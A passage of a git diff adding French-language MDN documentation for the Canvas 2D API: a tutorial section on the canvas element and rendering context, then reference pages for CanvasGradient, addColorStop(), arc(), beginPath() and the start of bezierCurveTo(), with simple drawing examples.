+<p>Ceci ressemble beaucoup à l'élément &lt;img&gt;. La seule différence est qu'il n'y a pas les attributs <code>src</code> et <code>alt</code>. L'élément <code>&lt;canvas&gt;</code> a seulement deux attributs : {{htmlattrxref ("width", "canvas")}} et {{htmlattrxref ("height", "canvas")}} (« largeur » et « hauteur »). Ces deux attributs sont optionnels et peuvent aussi être fixés à travers le <a href="/fr/docs/R%C3%A9f%C3%A9rence_du_DOM_Gecko">DOM</a>. Quand les attributs <strong>width</strong> et <strong>height</strong> ne sont pas spécifiés, le canvas sera initialement large de <strong>300 pixels</strong> et haut de <strong>150 pixels</strong>. Les dimensions du canvas peuvent être modifiés par du <a href="/fr/docs/Web/CSS">CSS</a>, mais l'image sera dessinée selon les valeurs <strong>width</strong> et <strong>height</strong> du canvas et ensuite étirée pour afficher dans l'espace donné par le CSS.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Si l'image semble déformée, essayez de spécifier de manière explicite vos attributs <code>width</code> et <code>height</code> dans l'élément <code>&lt;canvas&gt;</code>, et de ne pas utiliser de CSS.</p>
+</div>
+
+<p>L'attribut <code>id</code> n'est pas spécifique à l'élément <code>&lt;canvas&gt;</code>. C'est en fait un des attributs HTML de base qui peut être utilisé par presque tous les éléments HTML. C'est toujours mieux d'assigner une <code>id</code> car ça facilite beaucoup l'identification du <code>canvas</code> dans le code <code>javascript</code>.</p>
+
+<p>L'élément <code>&lt;canvas&gt;</code> peut être stylisé comme n'importe quelle image normale (marges, contours, arrière-plan, etc). Si aucun style n'est donné, le canvas sera par défaut complètement transparent. Il faut noter que peu importe quels styles sont utilisés, le style n'affectera pas l'acte de dessiner sur le canvas. Nous verrons en détail la stylisation des canvas plus tard dans ce tutoriel.</p>
+
+<div id="section_2">
+<h3 id="Contenu_de_repli">Contenu de repli</h3>
+
+<p>Puisque certains plus anciens navigateurs ne supportent pas l'élément {{HTMLElement("canvas")}} (les plus communs étant les versions d'Internet Explorer avant la version 9), il est mieux d'avoir du contenu de repli pour afficher.</p>
+
+<p>Heureusement, c'est très facile : il faut tout simplement mettre le contenu dans l'élément <code>&lt;canvas&gt;</code> lui-même. Les navigateurs qui ne supportent pas <code>&lt;canvas&gt;</code> vont afficher ce contenu de repli, et ceux qui supportent <code>&lt;canvas&gt;</code> vont l'ignorer et dessiner le canvas.</p>
+
+<p>Le contenu de repli pourrait, par exemple, donner une description texte du canvas, ou afficher une image fixe comme aperçu de ce que le canvas dessinerait de façon dynamique.</p>
+
+<pre class="brush: html  notranslate">&lt;canvas id="stockGraph" width="150" height="150"&gt;
+  current stock price: $3.15 + 0.15
+&lt;/canvas&gt;
+
+&lt;canvas id="clock" width="150" height="150"&gt;
+  &lt;img src="images/clock.png" width="150" height="150" alt=""/&gt;
+&lt;/canvas&gt;</pre>
+
+<h2 id="La_nécessité_de_la_balise_&lt;canvas>">La nécessité de la balise <code>&lt;/canvas&gt;</code></h2>
+
+<p>Au contraire de l'élément {{HTMLElement("img")}}, l'élément {{HTMLElement("canvas")}} <strong>requiert</strong> la balise fermante (<code>&lt;/canvas&gt;</code>).</p>
+
+<div class="note">
+<p><strong>Note :</strong> Bien que quelques unes des premières versions du navigateur Safari ne requièrent pas la balise fermante, la spécification HTML indique qu'elle est nécessaire, alors il est mieux de l'inclure pour avoir le plus de compatibilité possible. Ces anciennes versions de Safari (avant la version 2.0) affichent le contenu de repli en plus que le canvas lui-même, sauf si vous utilisez des trucs CSS pour le masquer. Heureusement, il y a très peu d'utilisateurs de ces vieilles versions de Safari de nos jours.</p>
+</div>
+
+<p>Si vous n'avez pas besoin de contenu de repli, un simple <code>&lt;canvas id="foo" ...&gt;&lt;/canvas&gt;</code> est totalement compatible avec tous les navigateurs qui ont pris en charge la fonctionnalité canvas.</p>
+
+<h2 id="Le_contexte_de_rendu">Le contexte de rendu</h2>
+
+<p>L'élément {{HTMLElement("canvas")}} crée une surface pour dessiner à grandeur fixe. Cette surface expose un ou plusieurs <strong>contextes de rendu</strong>, qui sont utilisés pour créer et manipuler le contenu affiché. Ce tutoriel se concentrera sur le contexte de rendu 2D. D'autres contextes permettent d'autres types de rendu, tel que le contexte <a href="/fr/docs/Web/WebGL">WebGL</a>, qui utilise un contexte 3D ("experimental-webgl") inspiré de <a class="external" href="http://www.khronos.org/opengles/" rel="external" title="http://en.wikipedia.org/wiki/OpenGL_ES">OpenGL ES</a>.</p>
+
+<p>Initialement, le canvas est vide. Pour afficher quelque chose,  un script doit commencer par accéder au contexte de rendu pour pouvoir dessiner dessus. L'élément {{HTMLElement("canvas")}} a une <a href="/fr/docs/Web/API/HTMLCanvasElement#M.C3.A9thodes">méthode</a> nommée <code>getContext()</code>, qui peut être utilisée pour obtenir le contexte de rendu et ses fonctions de dessin. <code>getContext()</code> a comme seul paramètre le type de contexte. Pour des graphiques 2D, comme ceux utilisés dans ce tutoriel, il faut spécifier "2d".</p>
+
+<pre class="brush: js notranslate">var canvas = document.getElementById('tutorial');
+var ctx = canvas.getContext('2d');</pre>
+
+<p>La première ligne obtient le {{HTMLElement("canvas")}} dans le DOM en appelant {{domxref("document.getElementById()")}}. Lorsque nous avons l'élément canvas, nous pouvons accéder au contexte de rendu en utilisant sa méthode <code>getContext()</code>.</p>
+
+<div id="section_5">
+<h2 id="Vérification_de_la_prise_en_charge">Vérification de la prise en charge</h2>
+
+<p>Le contenu de repli est affiché dans les navigateurs qui ne prennent pas en charge l'élément {{HTMLElement("canvas")}}. Les scripts peuvent aussi vérifier la prise en charge de manière programmatique en vérifiant la présence de la méthode <code>getContext()</code>. Notre extrait de code ci-dessus se transforme donc en ceci :</p>
+
+<pre class="brush: js notranslate">var canvas = document.getElementById('tutorial');
+
+if (canvas.getContext) {
+  var ctx = canvas.getContext('2d');
+  // code de dessin dans le canvas
+} else {
+  // code pour le cas où canvas ne serait pas supporté
+}</pre>
+</div>
+</div>
+
+<h2 id="Un_modèle_basique">Un modèle basique</h2>
+
+<p>Voici un modèle minimaliste, que nous allons utiliser comme point de départ dans des futurs exemples.</p>
+
+<pre class="brush: html  notranslate">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+  &lt;head&gt;
+    &lt;meta charset="utf-8"/&gt;
+    &lt;title&gt;Canvas tutorial&lt;/title&gt;
+    &lt;script type="text/javascript"&gt;
+      function draw() {
+        var canvas = document.getElementById('tutorial');
+        if (canvas.getContext) {
+          var ctx = canvas.getContext('2d');
+        }
+      }
+    &lt;/script&gt;
+    &lt;style type="text/css"&gt;
+      canvas { border: 1px solid black; }
+    &lt;/style&gt;
+  &lt;/head&gt;
+  &lt;body onload="draw();"&gt;
+    &lt;canvas id="tutorial" width="150" height="150"&gt;&lt;/canvas&gt;
+  &lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<p>Ce script contient une fonction <code>draw()</code>, qui est exécutée lorsque la page a fini de charger. Ce résultat est obtenu en utilisant l'événement de chargement du document. Cette fonction, ou une fonction similaire, pourrait aussi être appelé en utilisant {{domxref("window.setTimeout()")}}, {{domxref("window.setInterval()")}}, ou n'importe quel autre gestionnaire d'événement, tant que la page est chargée en premier.</p>
+
+<p>Voici à quoi le modèle ressemble :</p>
+
+<p>{{EmbedLiveSample("Un_modèle_basique", 160, 160)}}</p>
+
+<h2 id="Un_exemple_simple">Un exemple simple</h2>
+
+<p>Pour commencer, observons un exemple simple qui dessine deux rectangles qui s'intersectent, un d'entre eux ayant de la transparence alpha. Nous verrons plus en détail comment ça marche dans les exemples suivants.</p>
+
+<pre class="brush: html  notranslate">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+ &lt;head&gt;
+  &lt;meta charset="utf-8"/&gt;
+  &lt;script type="application/javascript"&gt;
+    function draw() {
+      var canvas = document.getElementById("canvas");
+      if (canvas.getContext) {
+        var ctx = canvas.getContext("2d");
+
+        ctx.fillStyle = 'rgb(200, 0, 0)';
+        ctx.fillRect(10, 10, 50, 50);
+
+        ctx.fillStyle = 'rgba(0, 0, 200, 0.5)';
+        ctx.fillRect(30, 30, 50, 50);
+      }
+    }
+  &lt;/script&gt;
+ &lt;/head&gt;
+ &lt;body onload="draw();"&gt;
+   &lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;
+ &lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<p>Cet exemple ressemble a ceci :</p>
+
+<p>{{EmbedLiveSample("Un_exemple_simple", 160, 160, "https://mdn.mozillademos.org/files/228/canvas_ex1.png")}}</p>
+
+<p>{{PreviousNext("Tutoriel_canvas", "Tutoriel_canvas/Formes_géométriques")}}</p>
diff --git a/files/fr/web/api/canvasgradient/addcolorstop/index.html b/files/fr/web/api/canvasgradient/addcolorstop/index.html
new file mode 100644
index 0000000000..76059cf23b
--- /dev/null
+++ b/files/fr/web/api/canvasgradient/addcolorstop/index.html
@@ -0,0 +1,129 @@
+---
+title: CanvasGradient.addColorStop()
+slug: Web/API/CanvasGradient/addColorStop
+tags:
+  - API
+  - Canvas
+  - CanvasGradient
+  - Méthode
+  - Reference
+translation_of: Web/API/CanvasGradient/addColorStop
+---
+<div>{{APIRef("Canvas API")}}</div>
+
+<p>La méthode CanvasGradient.addColorStop () ajoute un nouvel arrêt, défini par un <code>décalage</code> et une <code>couleur</code>, au dégradé. Si le décalage n'est pas compris entre 0 et 1, une erreur INDEX_SIZE_ERR est générée, si la couleur ne peut pas être analysée en tant que {{cssxref ("&lt;color&gt;")}} CSS, une erreur SYNTAX_ERR est générée.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">void <var><em>gradient</em>.addColorStop(décalage, couleur);</var>
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt>décalage</dt>
+ <dd>Un nombre entre 0 et 1. Une erreur INDEX_SIZE_ERR est générée, si le nombre n'est pas dans cette plage.</dd>
+ <dt>couleur</dt>
+ <dd>Une {{cssxref ("&lt;color&gt;")}} CSS. Une erreur SYNTAX_ERR est générée, si la valeur ne peut pas être analysée en tant que valeur &lt;color&gt; CSS.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utilisation_de_la_méthode_addColorStop">Utilisation de la méthode <code>addColorStop</code> </h3>
+
+<p>Il s'agit seulement d'un simple fragment de code qui utilise la méthode <code>addColorStop</code> avec un objet {{domxref("CanvasGradient")}}.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canevas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js; highlight:[5,6]">var canevas = document.getElementById('canevas');
+var ctx = canevas.getContext('2d');
+
+var degrade = ctx.createLinearGradient(0, 0, 200, 0);
+degrade.addColorStop(0, 'green');
+degrade.addColorStop(1, 'white');
+ctx.fillStyle = degrade;
+ctx.fillRect(10, 10, 200, 100);
+</pre>
+
+<p>Modifiez le code ci-dessous et voyez vos modifications mises à jour en direct dans le canevas :</p>
+
+<div style="display: none;">
+<h6 id="Playable_code">Playable code</h6>
+
+<pre class="brush: html">&lt;canvas id="canvas" width="400" height="200" class="playable-canvas"&gt;&lt;/canvas&gt;
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="edit" type="button" value="Edit" /&gt;
+  &lt;input id="reset" type="button" value="Reset" /&gt;
+&lt;/div&gt;
+&lt;textarea id="code" class="playable-code"&gt;
+var gradient = ctx.createLinearGradient(0,0,200,0);
+gradient.addColorStop(0,"green");
+gradient.addColorStop(1,"white");
+ctx.fillStyle = gradient;
+ctx.fillRect(10,10,200,100);&lt;/textarea&gt;
+</pre>
+
+<pre class="brush: js">var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code', 700, 360) }}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-canvasgradient-addcolorstop", "CanvasGradient.addColorStop")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+
+<p>{{Compat("api.CanvasGradient.addColorStop")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'interface ladéfinissant, {{domxref("CanvasGradient")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.createLinearGradient()")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.createRadialGradient()")}}</li>
+</ul>
diff --git a/files/fr/web/api/canvasgradient/index.html b/files/fr/web/api/canvasgradient/index.html
new file mode 100644
index 0000000000..bd09515894
--- /dev/null
+++ b/files/fr/web/api/canvasgradient/index.html
@@ -0,0 +1,60 @@
+---
+title: CanvasGradient
+slug: Web/API/CanvasGradient
+tags:
+  - API
+  - Canvas
+  - CanvasGradient
+  - Gradients
+  - Interface
+  - Reference
+translation_of: Web/API/CanvasGradient
+---
+<div>{{APIRef("Canvas API")}}</div>
+
+<p>L'interface <code><strong>CanvasGradient</strong></code>  représente un objet opaque décrivant un dégradé. Il est retourné par les méthodes {{domxref("CanvasRenderingContext2D.createLinearGradient()")}} ou {{domxref("CanvasRenderingContext2D.createRadialGradient()")}}.</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<p><em>Représentant un objet opaque, il n'y a aucune propriété exposée.</em></p>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p><em>Il n'y a pas de méthode héritée.</em></p>
+
+<dl>
+ <dt>{{domxref("CanvasGradient.addColorStop()")}}</dt>
+ <dd>Ajoute un nouveau point d'arrêt, défini par un <code>décalage</code> et une <code>couleur</code>. Si le décalage n'est pas compris entre 0 et 1, une <code>INDEX_SIZE_ERR</code> est générée ; si la couleur ne peut être analysée comme une {{cssxref("&lt;color&gt;")}} CSS,  une <code>SYNTAX_ERR</code> est générée.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "the-canvas-element.html#canvasgradient", "CanvasGradient")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{Compat("api.CanvasGradient")}}</p>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<h2 id="Voir_également">Voir également</h2>
+
+<ul>
+ <li>Créateur dans  {{domxref("CanvasRenderingContext2D")}}.</li>
+ <li>L'élément {{HTMLElement("canvas")}} et son interface associée {{domxref("HTMLCanvasElement")}}.</li>
+</ul>
diff --git a/files/fr/web/api/canvasrenderingcontext2d/arc/index.html b/files/fr/web/api/canvasrenderingcontext2d/arc/index.html
new file mode 100644
index 0000000000..28219272c1
--- /dev/null
+++ b/files/fr/web/api/canvasrenderingcontext2d/arc/index.html
@@ -0,0 +1,174 @@
+---
+title: CanvasRenderingContext2D.arc()
+slug: Web/API/CanvasRenderingContext2D/arc
+tags:
+  - Canvas
+  - CanvasRenderingContext2D
+  - Method
+  - Reference
+translation_of: Web/API/CanvasRenderingContext2D/arc
+---
+<div>{{APIRef}}</div>
+
+<p>La méthode <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.arc()</code></strong> de l'API Canvas 2D permet d'ajouter un arc de cercle  au tracé, en le centrant aux positions <em>(x, y)</em> et avec un rayon <em>r</em> qui démarre à <em>angleDépart</em> et qui finit à <em>angleFin</em>, dans la direction de <em>sensAntiHoraire </em>(par défaut en sens horaire).</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">void <var><em>ctx</em>.arc(x, y, rayon, angleDépart, angleFin, sensAntiHoraire);</var>
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>La position en x du centre de l'arc.</dd>
+ <dt><code>y</code></dt>
+ <dd>La position en y du centre de l'arc.</dd>
+ <dt><code>radius</code><em> (rayon)</em></dt>
+ <dd>Le rayon de l'arc.</dd>
+ <dt><code>startAngle</code> <em>(<font face="Consolas, Liberation Mono, Courier, monospace">angle départ)</font></em></dt>
+ <dd>La valeur de l'angle avec laquelle démarre l'arc de cercle, mesurée dans le sens horaire à partir de l'axe x positif et exprimé en radians.</dd>
+ <dt><code>endAngle</code> <em>(angle fin)</em></dt>
+ <dd>La valeur de l'angle avec laquelle se finit l'arc de cercle, mesurée dans le sens horaire à partir de l'axe x positif et exprimé en radians.</dd>
+ <dt><code>anticlockwise</code><em> (<font face="Consolas, Liberation Mono, Courier, monospace">sens anti-horaire)</font></em> {{optional_inline}}</dt>
+ <dd>Un {{jsxref("Booléen")}} facultatif qui, si à <code>true</code><em>(vrai),</em> indique que l'arc sera dessiné dans le sens inverse des aiguilles d'une montre entre les deux angles. Par défaut, la valeur est le sens des aiguilles d'une montre.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Using_the_arc_method" name="Using_the_arc_method">En utilisant la méthode <code>arc</code> </h3>
+
+<p>Voici un code simple permettant de dessiner un cercle .</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html line-numbers  language-html"><code class="language-html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;</code></pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js">var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+
+ctx.beginPath();
+ctx.arc(75, 75, 50, 0, 2 * Math.PI);
+ctx.stroke();</code></pre>
+
+<p>Modifiez le code ci-dessous et voyez les changements en direct sur le canvas :</p>
+
+<div style="display: none;">
+<h6 id="Playable_code" name="Playable_code">Playable code</h6>
+
+<pre class="brush: html">&lt;canvas id="canvas" width="400" height="200" class="playable-canvas"&gt;&lt;/canvas&gt;
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="edit" type="button" value="Edit" /&gt;
+  &lt;input id="reset" type="button" value="Reset" /&gt;
+&lt;/div&gt;
+&lt;textarea id="code" class="playable-code"&gt;
+ctx.beginPath();
+ctx.arc(50, 50, 50, 0, 2 * Math.PI, false);
+ctx.stroke();&lt;/textarea&gt;
+</pre>
+
+<pre class="brush: js">var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code', 700, 360) }}</p>
+
+<h3 id="Different_shapes_demonstrated" name="Different_shapes_demonstrated">Exemple avec différentes formes</h3>
+
+<p>Dans cet exemple, plusieurs formes différentes sont dessinées, afin de montrer les possibilités offertes par <code>arc()</code>.</p>
+
+<div style="display: none;">
+<h6 id="HTML_2">HTML</h6>
+
+<pre class="brush: html">&lt;canvas id="canvas" width="150" height="200"&gt;&lt;/canvas&gt;
+</pre>
+
+<h6 id="JavaScript_2">JavaScript</h6>
+</div>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js">var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+
+// Draw shapes
+for (var i = 0; i &lt; 4; i++) {
+  for(var j = 0; j &lt; 3; j++) {
+    ctx.beginPath();
+    var x              = 25 + j * 50;               // x coordinate
+    var y              = 25 + i * 50;               // y coordinate
+    var radius         = 20;                    // Arc radius
+    var startAngle     = 0;                     // Starting point on circle
+    var endAngle       = Math.PI + (Math.PI * j) /2; // End point on circle
+    var anticlockwise  = i % 2 == 1;                // Draw anticlockwise
+
+    ctx.arc(x, y, radius, startAngle, endAngle, anticlockwise);
+
+    if (i &gt; 1) {
+      ctx.fill();
+    } else {
+      ctx.stroke();
+    }
+  }
+}</code></pre>
+
+<p>{{ EmbedLiveSample('Different_shapes_demonstrated', 160, 210, "https://mdn.mozillademos.org/files/204/Canvas_arc.png") }}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-arc", "CanvasRenderingContext2D.arc")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+
+<p>{{Compat("api.CanvasRenderingContext2D.arc")}}</p>
+<h2 id="Notes_spécifiques_à_Gecko">Notes spécifiques à Gecko</h2>
+
+<p>Avec Gecko 2.0 {{geckoRelease("2.0")}}:</p>
+
+<ul>
+ <li>Le paramètre <code>anticlockwise</code> est optionnel,</li>
+ <li>Une valeur négative pour le rayon lance une erreur de type {{domxref("DOMError", "IndexSizeError")}} ( <span>"L'index ou la taille est négatif ou supérieur à la valeur autorisée" ).</span></li>
+</ul>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'Interface JavaScript à laquelle appartient la méthode : {{domxref("CanvasRenderingContext2D")}}</li>
+</ul>
diff --git a/files/fr/web/api/canvasrenderingcontext2d/beginpath/index.html b/files/fr/web/api/canvasrenderingcontext2d/beginpath/index.html
new file mode 100644
index 0000000000..4df338c796
--- /dev/null
+++ b/files/fr/web/api/canvasrenderingcontext2d/beginpath/index.html
@@ -0,0 +1,132 @@
+---
+title: CanvasRenderingContext2D.beginPath()
+slug: Web/API/CanvasRenderingContext2D/beginPath
+tags:
+  - API
+  - Canvas
+  - CanvasRenderingContext2D
+translation_of: Web/API/CanvasRenderingContext2D/beginPath
+---
+<div>{{APIRef}}</div>
+
+<p>La méthode <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.beginPath()</code></strong> de l'API Canvas 2D permet de commencer un nouveau chemin<em> e</em>n vidant la liste des sous-chemins. Appelez cette méthode quand vous voulez créer un nouveau chemin.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">void <var><em>ctx</em>.beginPath();</var>
+</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_la_méthode_beginPath">Utiliser la méthode <code>beginPath</code></h3>
+
+<p>Ceci est un simple snippet de code qui utilise la méthode <code>beginPath</code>.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js; highlight:[5,12]">var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+
+// Premier chemin
+ctx.beginPath();
+ctx.strokeStyle = 'blue';
+ctx.moveTo(20, 20);
+ctx.lineTo(200, 20);
+ctx.stroke();
+
+// Second chemin
+ctx.beginPath();
+ctx.strokeStyle = 'green';
+ctx.moveTo(20, 20);
+ctx.lineTo(120, 120);
+ctx.stroke();
+</pre>
+
+<p>Éditez le code ci-dessous pour voir vos changements directemment apportés au canvas:</p>
+
+<div style="display: none;">
+<h6 id="Playable_code">Playable code</h6>
+
+<pre class="brush: html">&lt;canvas id="canvas" width="400" height="200" class="playable-canvas"&gt;&lt;/canvas&gt;
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="edit" type="button" value="Edit" /&gt;
+  &lt;input id="reset" type="button" value="Reset" /&gt;
+&lt;/div&gt;
+&lt;textarea id="code" class="playable-code" style="height:200px"&gt;
+// First path
+ctx.beginPath();
+ctx.strokeStyle = 'blue';
+ctx.moveTo(20,20);
+ctx.lineTo(200,20);
+ctx.stroke();
+
+// Second path
+ctx.beginPath();
+ctx.strokeStyle = 'green';
+ctx.moveTo(20,20);
+ctx.lineTo(120, 120);
+ctx.stroke();&lt;/textarea&gt;
+</pre>
+
+<pre class="brush: js">var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code', 700, 460) }}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-beginpath", "CanvasRenderingContext2D.beginPath")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("api.CanvasRenderingContext2D.beginPath")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'interface qui définit cette méthode, {{domxref("CanvasRenderingContext2D")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.closePath()")}}</li>
+</ul>
diff --git a/files/fr/web/api/canvasrenderingcontext2d/beziercurveto/index.html b/files/fr/web/api/canvasrenderingcontext2d/beziercurveto/index.html
new file mode 100644
index 0000000000..392c7360e1
--- /dev/null
+++ b/files/fr/web/api/canvasrenderingcontext2d/beziercurveto/index.html
@@ -0,0 +1,147 @@
+---
+title: CanvasRenderingContext2D.bezierCurveTo()
+slug: Web/API/CanvasRenderingContext2D/bezierCurveTo
+tags:
+  - 2D
+  - API
+  - Bézier
+  - Canevas
+  - Canvas
+  - CanvasRenderingContext2D
+  - Courbe
+  - Courbe cubique
+  - Courbe cubique de Bézier
+  - Courbe de Bézier
+  - Méthode
+  - contexte
+translation_of: Web/API/CanvasRenderingContext2D/bezierCurveTo
+---
+<div>{{APIRef}}</div>
+
+<p>La méthode <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.bezierCurveTo()</code></strong> de l'API Canvas 2D ajoute une <a href="https://en.wikipedia.org/wiki/B%C3%A9zier_curve">courbe de Bézier</a> cubique au sous-chemin courant. Elle requiert trois points : les deux premiers sont des points de contrôle et le troisième est le point d'arrivée. Le point de départ est le dernier point dans le chemin courant, qui peut être changé au moyen de la méthode {{domxref("CanvasRenderingContext2D.moveTo", "moveTo()")}} avant de créer une courbe de Bézier.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">void <em>contexte2D</em>.bezierCurveTo(<em>pointContrôle1X</em>, <em>pointContrôle1Y</em>, <em>pointContrôle2X</em>, <em>pointContrôle2Y</em>, <em>pointArrivéeX</em>, <em>pointArrivéeY</em>);
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>pointContrôle1X</code></dt>
+ <dd>La coordonnée en x du premier point de contrôle.</dd>
+ <dt><code>pointContrôle1Y</code></dt>
+ <dd>La coordonnée en y du premier point de contrôle.</dd>
+ <dt><code>pointContrôle2X</code></dt>
+ <dd>La coordonnée en x du second point de contrôle.</dd>
+ <dt><code>pointContrôle2Y</code></dt>
+ <dd>La coordonnée en y du second point de contrôle.</dd>
+ <dt><code>pointArrivéeX</code></dt>
+ <dd>La coordonnée en x du point d'arrivée.</dd>
